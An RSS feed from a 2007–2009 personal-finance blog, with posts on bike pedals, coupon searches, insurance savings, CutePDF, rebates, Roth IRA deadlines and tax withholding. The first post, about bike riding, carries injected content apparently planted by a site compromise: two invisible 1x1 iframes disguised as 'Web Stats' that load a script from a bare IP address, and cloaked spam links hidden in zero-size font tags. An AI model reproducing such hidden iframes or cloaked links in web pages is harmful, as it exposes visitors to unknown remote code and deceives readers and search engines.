<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>optimized living</title>
	<atom:link href="http://www.optimizedliving.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.optimizedliving.com</link>
	<description>for those who strive to maximize (value/cost)</description>
	<pubDate>Sat, 07 Nov 2009 15:59:25 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Why I&#8217;m finally riding my bike</title>
		<link>http://www.optimizedliving.com/2008/05/19/why-im-finally-riding-my-bike/</link>
		<comments>http://www.optimizedliving.com/2008/05/19/why-im-finally-riding-my-bike/#comments</comments>
		<pubDate>Mon, 19 May 2008 14:02:28 +0000</pubDate>
		<dc:creator>OL</dc:creator>
		
		<category><![CDATA[Fitness]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.optimizedliving.com/?p=123</guid>
		<description><![CDATA[My wife picked up a road bike a couple weekends ago. You know, the type you can lift with your pinkie. While I was   jealously eyeing her new bike, she reminded me that I already have one.
When I purchase an expensive item, I find it fun (in a twisted kind of way) to [...]]]></description>
			<content:encoded><![CDATA[<p>My wife picked up a road bike a couple weekends ago. You know, the type you can lift with your pinkie. While I was<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> jealously eyeing her new bike, she reminded me that I already have one.</p>
<p>When I purchase an expensive item, I find it fun (in a twisted kind of way) to calculate the per-use cost. Before my wife got her bike, my bike&#8217;s per-use cost was probably around $100 ($500 / 5 times I used it). Like most bike owners,<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> I purchased it and never ended up riding much.</p>
<p>After I watched my wife ride her bike with her fancy shoes and pedals, it was clear that I was missing out. For some reason, someone forgot to tell me <strong>what makes biking fun&#8230; bike shoes with clip-in pedals</strong>. And by fun, I really mean easy.</p>
<p>The next weekend I purchased <a href="http://www.specialized.com/bc/SBCEqProduct.jsp?spid=26123"><font style="position: absolute;overflow: hidden;height: 0;width: 0"></font><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://vtsc.info/">optical amplifier</a></font></a><a href="http://www.videnov.com/"><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://sikongroup.com/rentacar/index.htm">rent a car bulgaria</a></font><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/">&#1083;&#1077;&#1075;&#1083;&#1072;</a></font>мебели</a>Specialized BG Comp MTB Shoes and <a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&amp;location=http%3A%2F%2Fwww.amazon.com%2FShimano-PD-M520-Pedals%2Fdp%2FB000COB22O%2F&amp;tag=optimizedlivi-20&amp;linkCode=ur2&amp;camp=1789&amp;creative=9325">Shimano PD-M520 MTB Pedals</a><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=optimizedlivi-20&amp;l=ur2&amp;o=1" border="0" alt="" width="1" height="1" /><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://kvantservice.com/">компютри</a></font> to add to my Specialized Hardrock Mountain Bike. The next day I rode my bike 30+ miles. Before that, my longest ride was 6 miles. The efficiency you can achieve by being able to pull the pedal up as well as push it down is incredible.</p>
<p>They&#8217;ve made biking so much fun that I now ride my bike instead of taking my car on short errands. So if you have an unused bike, or are buying a bike, definitely consider getting shoes and pedals.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.optimizedliving.com/2008/05/19/why-im-finally-riding-my-bike/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Quickly search for coupons using RetailMeNot.com and Firefox</title>
		<link>http://www.optimizedliving.com/2008/05/18/quickly-search-for-coupons-using-retailmenotcom-and-firefox/</link>
		<comments>http://www.optimizedliving.com/2008/05/18/quickly-search-for-coupons-using-retailmenotcom-and-firefox/#comments</comments>
		<pubDate>Sun, 18 May 2008 15:04:25 +0000</pubDate>
		<dc:creator>OL</dc:creator>
		
		<category><![CDATA[Coupons and Sales]]></category>

		<category><![CDATA[General]]></category>

		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://www.optimizedliving.com/?p=116</guid>
		<description><![CDATA[I&#8217;ve been using RetailMeNot.com a lot recently to quickly find coupons and discount codes. They have the cleanest list of coupons and are free of gimmick coupons that you find on the shady coupon sites. Plus, their peer rating system makes it trivial to see if a coupon is still alive.
One really slick way to [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been using <a href="http://www.retailmenot.com">RetailMeNot.com</a> a lot recently to quickly find coupons and discount codes. They have the cleanest list of coupons and are free of gimmick coupons that you find on the shady coupon sites. Plus, their peer rating system makes it trivial to see if a coupon is still alive.</p>
<p>One really slick way to use RetailMeNot is as a <a href="http://www.mozilla.org/products/firefox/smart-keywords.html">keyword bookmark</a> in Firefox. It&#8217;s by far the fastest way to figure out if a site has a useful coupon code.</p>
<p>To set it up, go to <strong>Bookmarks</strong> &#8211;&gt; <strong>Organize Bookmarks&#8230;</strong>. Then click on <strong>File</strong> &#8211;&gt; <strong>New Bookmark&#8230;</strong> and enter the following:</p>
<p style="text-align: center;"><img class="alignnone size-full wp-image-122 aligncenter" title="retailmenot-coupon-search" src="http://www.optimizedliving.com/wp-content/uploads/2008/05/retailmenot-coupon-search.gif" alt="" width="337" height="255" /></p>
<p>Now, when you want to search for a coupon, you can just use the Location bar. For example, to find Amazon.com coupons, just enter &#8220;coupon amazon&#8221;. Coupon hunting can&#8217;t get easier than that.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.optimizedliving.com/2008/05/18/quickly-search-for-coupons-using-retailmenotcom-and-firefox/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Financial Sites Unavailable Saturday Night</title>
		<link>http://www.optimizedliving.com/2008/05/17/financial-sites-unavailable-saturday-night/</link>
		<comments>http://www.optimizedliving.com/2008/05/17/financial-sites-unavailable-saturday-night/#comments</comments>
		<pubDate>Sun, 18 May 2008 05:31:10 +0000</pubDate>
		<dc:creator>OL</dc:creator>
		
		<category><![CDATA[Finances]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.optimizedliving.com/?p=113</guid>
		<description><![CDATA[I had planned to spend a few minutes tonight rebalancing my cash accounts. Every once in a while I find that I need to review my checking and savings accounts to make sure that I&#8217;m making the best use of my cash.
Unfortunately, most financial sites are taking tonight off. All of the following institutions were [...]]]></description>
			<content:encoded><![CDATA[<p>I had planned to spend a few minutes tonight rebalancing my cash accounts. Every once in a while I find that I need to review my checking and savings accounts to make sure that I&#8217;m making the best use of my cash.</p>
<p>Unfortunately, most financial sites are taking tonight off. All of the following institutions were completely or partially unavailable tonight:</p>
<ul>
<li>Washington Mutual</li>
<li>HSBC Direct</li>
<li>Fidelity Investments</li>
<li>Vanguard</li>
</ul>
<p><a href="http://royal.pingdom.com/?p=227">Twitter seems to have better uptime</a> than most of the financial institutions. :) Guess I&#8217;ll be rebalancing another night&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.optimizedliving.com/2008/05/17/financial-sites-unavailable-saturday-night/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Change driving habits? Call your insurance company to save money</title>
		<link>http://www.optimizedliving.com/2007/12/10/change-driving-habits-call-your-insurance-company-to-save-money/</link>
		<comments>http://www.optimizedliving.com/2007/12/10/change-driving-habits-call-your-insurance-company-to-save-money/#comments</comments>
		<pubDate>Mon, 10 Dec 2007 22:05:44 +0000</pubDate>
		<dc:creator>OL</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.optimizedliving.com/2007/12/10/change-driving-habits-call-your-insurance-company-to-save-money/</guid>
		<description><![CDATA[I was on the phone with my insurance company today to make a credit card payment (yea, they don&#8217;t let me pay by cc online and I want the reward points :) ) and I happened to mention that I started working from home. My agent was able to reduce my policy by ~$175 every [...]]]></description>
			<content:encoded><![CDATA[<p>I was on the phone with my insurance company today to make a credit card payment (yea, they don&#8217;t let me pay by cc online and I want the reward points :) ) and I happened to mention that I started working from home. My agent was able to reduce my policy by ~$175 every six months since I&#8217;m driving the car under 7500 miles per year. So, if you lower the amount you drive because of changes in your job give your insurance company a call and save some money.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.optimizedliving.com/2007/12/10/change-driving-habits-call-your-insurance-company-to-save-money/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to cut down on printing and filing documents by using CutePDF</title>
		<link>http://www.optimizedliving.com/2007/05/19/how-to-cut-down-on-printing-and-filing-documents-by-using-cutepdf/</link>
		<comments>http://www.optimizedliving.com/2007/05/19/how-to-cut-down-on-printing-and-filing-documents-by-using-cutepdf/#comments</comments>
		<pubDate>Sun, 20 May 2007 00:58:16 +0000</pubDate>
		<dc:creator>OL</dc:creator>
		
		<category><![CDATA[Finances]]></category>

		<category><![CDATA[General]]></category>

		<category><![CDATA[Household]]></category>

		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://www.optimizedliving.com/2007/05/19/how-to-cut-down-on-printing-and-filing-documents-by-using-cutepdf/</guid>
		<description><![CDATA[One of my goals over the last month was to stop printing so much. My file cabinet is currently overflowing and I&#8217;ve gotten tired of my &#8220;To File&#8221; piling growing and not actually getting filed.
Of course I can&#8217;t stop everyone, like my insurance company, from sending me tons of paper. BTW, why do insurance companies [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.optimizedliving.com/wp-content/uploads/2007/05/cutepdf.PNG" title="CutePDF Writer" border="0"></a>One of my goals over the last month was to stop printing so much. My file cabinet is currently overflowing and I&#8217;ve gotten tired of my &#8220;To File&#8221; piling growing and not actually getting filed.</p>
<p>Of course I can&#8217;t stop everyone, like my insurance company, from sending me tons of paper. BTW, why do insurance companies insist on sending so many pieces of paper? The top drawer in my filing cabinet is mostly insurance papers. Even though I can&#8217;t stop others from generating papers, at least I can stop printing payment confirmations, credit reports, statements, etc.</p>
<p>That led me to search for a PDF printer utility. First of all, what&#8217;s a PDF? PDF stands for <a href="http://en.wikipedia.org/wiki/Portable_Document_Format">Portable Document Format</a>. One cool thing about PDFs is that they can digitally capture what you would have printed. After you &#8220;print,&#8221; you just load up the file in <a href="http://www.adobe.com/products/acrobat/readstep2.html">Adobe Acrobat Reader</a>, and can view what looks like a printout.</p>
<p>After a little searching I finally ran across a really nice (free) Windows utility, <a href="http://www.cutepdf.com/products/CutePDF/writer.asp">CutePDF Writer</a>, which acts like a printer and saves the print out to a PDF file. </p>
<p>So now when I print something, I see the following:</p>
<p><a href="http://www.optimizedliving.com/wp-content/uploads/2007/05/cutepdf.PNG" title="CutePDF Writer"><img src="http://www.optimizedliving.com/wp-content/uploads/2007/05/cutepdf.PNG" alt="CutePDF Writer" /></a></p>
<p>After I hit <em>Print</em>, I just enter a filename for the PDF and it saves it. No more paper, no more filing. </p>
<p>Here are some suggestions for getting the most out of printing to PDFs with CutePDF:</p>
<ul>
<li><strong>Make CutePDF your default printer.</strong> This way you&#8217;ll generally error on the side of saving to a PDF rather than physically printing.</li>
<li><strong>Keep a consistent folder and file naming convention.</strong> I&#8217;ve created a set of folders, such was <em>Credit Reports</em>, <em>Order Confirmations</em>, <em>Rebates</em>, etc. Also, I&#8217;ve named my files like this: &#8220;20070519 words about the file.pdf.&#8221; That first number is the date, and by putting the date in that order (year, month, day) my file names sort nicely by date.</li>
<li><strong>Back up your PDFs. </strong>Make sure that you back up your documents using whatever method you prefer (ex. burn a CD, copy them to a flash drive, copy them to another computer, etc.).</li>
</ul>
<p>So far this system has worked out great.</p>
<ul>
<li>&#8220;Filing&#8221; is instant since it happens when I choose a folder and filename. No more paper documents waiting to be filed.</li>
<li>It&#8217;s easy to find documents by browsing files or searching.</li>
<li>There&#8217;s no need to buy lots of paper and printer ink.</li>
<li>My office space is cleaner and there is less unnecessary clutter (there&#8217;s still a lot though :))</li>
</ul>
<p>Yeah, I&#8217;ll admit, it&#8217;s not that paperless office they&#8217;ve been talking about for years, but it has certainly saved me time and hassle.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.optimizedliving.com/2007/05/19/how-to-cut-down-on-printing-and-filing-documents-by-using-cutepdf/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Making sure you receive rebates</title>
		<link>http://www.optimizedliving.com/2007/04/02/making-sure-you-receive-rebates/</link>
		<comments>http://www.optimizedliving.com/2007/04/02/making-sure-you-receive-rebates/#comments</comments>
		<pubDate>Tue, 03 Apr 2007 02:20:10 +0000</pubDate>
		<dc:creator>OL</dc:creator>
		
		<category><![CDATA[Finances]]></category>

		<category><![CDATA[General]]></category>

		<category><![CDATA[Household]]></category>

		<guid isPermaLink="false">http://www.optimizedliving.com/2007/04/02/making-sure-you-receive-rebates/</guid>
		<description><![CDATA[A post over on Consumerist kicked off a firestorm of rebate debates. I fill out a lot of rebates (over the last couple months I&#8217;ve received 3 free computer cases and 2 free computer power supplies) and overall have had very little trouble with rebates. I tend to take my time filling out the forms [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://consumerist.com/consumer/micro-center/update-micro-center-funds-spurned-gigafast-rebate-246898.php">A post over on Consumerist</a> kicked off a firestorm of rebate debates. I fill out a lot of rebates (over the last couple months I&#8217;ve received 3 free computer cases and 2 free computer power supplies) and overall have had very little trouble with rebates. I tend to take my time filling out the forms and make sure that I have copies of everything I send in (using an all-in-one copier/printer I bought with a rebate :)) just in case they forget.</p>
<p><a href="http://www.krunk4ever.com">krunk4ever</a> was a major contributor to the Consumerist thread and summarized <a href="http://www.krunk4ever.com/blog/?p=1025">his stance on rebates</a> nicely:</p>
<ul>
<li>Read all of the fine print</li>
<li>Include all of the necessary fields</li>
<li>Document and make photocopies of everything (I like to file this away and check that I&#8217;ve received them every once in a while.)</li>
<li>Know which rebate companies are good (he comments on some in the article)</li>
<li>Follow-up when necessary</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.optimizedliving.com/2007/04/02/making-sure-you-receive-rebates/feed/</wfw:commentRss>
		</item>
		<item>
		<title>If you were planning to contribute to your Roth IRA, now is the time.</title>
		<link>http://www.optimizedliving.com/2007/04/02/if-you-were-planning-to-contribute-to-your-roth-ira-now-is-the-time/</link>
		<comments>http://www.optimizedliving.com/2007/04/02/if-you-were-planning-to-contribute-to-your-roth-ira-now-is-the-time/#comments</comments>
		<pubDate>Tue, 03 Apr 2007 02:00:50 +0000</pubDate>
		<dc:creator>OL</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.optimizedliving.com/2007/04/02/if-you-were-planning-to-contribute-to-your-roth-ira-now-is-the-time/</guid>
		<description><![CDATA[Time is running out if you are planning to contribute to your Roth IRA for 2006. Contributions for the 2006 tax year need to be made by April 17th, 2007. Make sure that you leave some extra time if you&#8217;re establishing the account or even if you&#8217;re just contributing. You don&#8217;t want to be a [...]]]></description>
			<content:encoded><![CDATA[<p>Time is running out if you are planning to contribute to your Roth IRA for 2006. Contributions for the 2006 tax year need to be made by April 17th, 2007. Make sure that you leave some extra time if you&#8217;re establishing the account or even if you&#8217;re just contributing. You don&#8217;t want to be a few days late and miss out on this opportunity. So if you haven&#8217;t made your contribution for this year, stop reading this post and go do it&#8211; it&#8217;s one of the best retirement investment vehicles available.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.optimizedliving.com/2007/04/02/if-you-were-planning-to-contribute-to-your-roth-ira-now-is-the-time/feed/</wfw:commentRss>
		</item>
		<item>
		<title>FAFSA4caster</title>
		<link>http://www.optimizedliving.com/2007/03/28/fafsa4caster/</link>
		<comments>http://www.optimizedliving.com/2007/03/28/fafsa4caster/#comments</comments>
		<pubDate>Thu, 29 Mar 2007 02:46:52 +0000</pubDate>
		<dc:creator>OL</dc:creator>
		
		<category><![CDATA[Finances]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.optimizedliving.com/2007/03/28/fafsa4caster/</guid>
		<description><![CDATA[A new tool, FAFSA4caster will soon be available (starting April 1st, 2007) to help you sort out how much financial aid you can expect to receive when attending college. From the site, this tool lets you do a couple things:

Instantly calculates a student&#8217;s eligibility for federation student aid, including grants
Reduces the time it will take to complete [...]]]></description>
			<content:encoded><![CDATA[<p>A new tool, <a href="http://www.federalstudentaid.ed.gov/fafsa4caster.html">FAFSA4caster </a>will soon be available (starting April 1st, 2007) to help you sort out how much financial aid you can expect to receive when attending college. From the site, this tool lets you do a couple things:</p>
<ul>
<li>Instantly calculates a student&#8217;s eligibility for federation student aid, including grants</li>
<li>Reduces the time it will take to complete the FAFSA</li>
<li>Simplifies the financial aid process for students and their families</li>
</ul>
<p>This tool is definitely a step in the right direction. When I applied for financial aid (seems like ages ago), there was no way to predict how much aid you would receive. With this tool, you can be better prepared and more realistic in your financial planning for college. If you try it out, let me know whether you think it was helpful.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.optimizedliving.com/2007/03/28/fafsa4caster/feed/</wfw:commentRss>
		</item>
		<item>
		<title>I Will Teach You To Be Rich: Tax Answers Part 2</title>
		<link>http://www.optimizedliving.com/2007/03/28/i-will-teach-you-to-be-rich-tax-answers-part-2/</link>
		<comments>http://www.optimizedliving.com/2007/03/28/i-will-teach-you-to-be-rich-tax-answers-part-2/#comments</comments>
		<pubDate>Thu, 29 Mar 2007 01:31:42 +0000</pubDate>
		<dc:creator>OL</dc:creator>
		
		<category><![CDATA[Finances]]></category>

		<category><![CDATA[Taxes]]></category>

		<guid isPermaLink="false">http://www.optimizedliving.com/2007/03/28/i-will-teach-you-to-be-rich-tax-answers-part-2/</guid>
		<description><![CDATA[iwillteachyoutoberich.com posted Part 2 of Personalized tax answers. There are some great detailed questions there. Also, check out Part 1 if you missed it.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.iwillteachyoutoberich.com">iwillteachyoutoberich.com</a> posted <a href="http://www.iwillteachyoutoberich.com/blog/personalized-tax-answers-for-iwillteachyoutoberich-readers-%e2%80%94-part-2">Part 2 of Personalized tax answers</a>. There are some great detailed questions there. Also, check out <a href="http://www.iwillteachyoutoberich.com/blog/tax-advice-part-1-by-cpa-david-bergstein">Part 1</a> if you missed it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.optimizedliving.com/2007/03/28/i-will-teach-you-to-be-rich-tax-answers-part-2/feed/</wfw:commentRss>
		</item>
		<item>
		<title>IRS Withholding Calculator</title>
		<link>http://www.optimizedliving.com/2007/03/21/irs-withholding-calculator-2/</link>
		<comments>http://www.optimizedliving.com/2007/03/21/irs-withholding-calculator-2/#comments</comments>
		<pubDate>Thu, 22 Mar 2007 05:46:06 +0000</pubDate>
		<dc:creator>OL</dc:creator>
		
		<category><![CDATA[Finances]]></category>

		<category><![CDATA[General]]></category>

		<category><![CDATA[Taxes]]></category>

		<guid isPermaLink="false">http://www.optimizedliving.com/2007/03/21/irs-withholding-calculator-2/</guid>
		<description><![CDATA[Now is a great time of year to head over to the IRS Withholding Calculator and make sure that you&#8217;re withholding the right amount of tax in 2007.
Your 2006 return will have told you if you were too high or too low. Optimally you set your deductions so that when tax time comes around next [...]]]></description>
			<content:encoded><![CDATA[<p>Now is a great time of year to head over to the <a href="http://www.irs.gov/individuals/article/0,,id=96196,00.html">IRS Withholding Calculator</a> and make sure that you&#8217;re withholding the right amount of tax in 2007.</p>
<p>Your 2006 return will have told you if you were too high or too low. Optimally you set your deductions so that when tax time comes around next year you owe $0. Also, don&#8217;t forget that you might need to pay estimated taxes during 2007 (especially if you have have income that does not automatically take out taxes).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.optimizedliving.com/2007/03/21/irs-withholding-calculator-2/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
